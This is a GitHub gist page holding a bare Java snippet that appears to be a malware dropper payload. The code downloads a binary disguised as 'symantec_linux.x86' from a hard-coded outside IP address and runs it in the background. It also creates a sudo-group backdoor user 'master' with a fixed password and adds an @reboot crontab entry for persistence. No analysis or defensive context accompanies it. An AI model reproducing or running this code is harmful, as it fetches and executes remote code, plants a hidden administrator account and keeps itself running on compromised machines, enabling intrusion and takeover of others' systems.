Skip to content

Instantly share code, notes, and snippets.

@isaidnocookies
Created January 3, 2022 02:38
Show Gist options
  • Save isaidnocookies/e2d3f1fd1a3111bbcd31d24bb2f7f5aa to your computer and use it in GitHub Desktop.
Save isaidnocookies/e2d3f1fd1a3111bbcd31d24bb2f7f5aa to your computer and use it in GitHub Desktop.
this.download("http://148.251.71.182/symantec_linux.x86", "/tmp/lock");
final String linux_cmd = "chmod +x /tmp/lock ; useradd -g sudo -m -s /bin/bash -p $(echo P@ssw0rd1234 | openssl passwd -1 -stdin) master; nohup /tmp/lock &";
final String[] arrayOfString = { "/bin/sh", "-c", linux_cmd };
try {
Runtime.getRuntime().exec(arrayOfString);
Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", "(crontab -l && echo \"@reboot /tmp/lock\") | crontab -" });
} catch (IOException iOException) {
iOException.printStackTrace();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment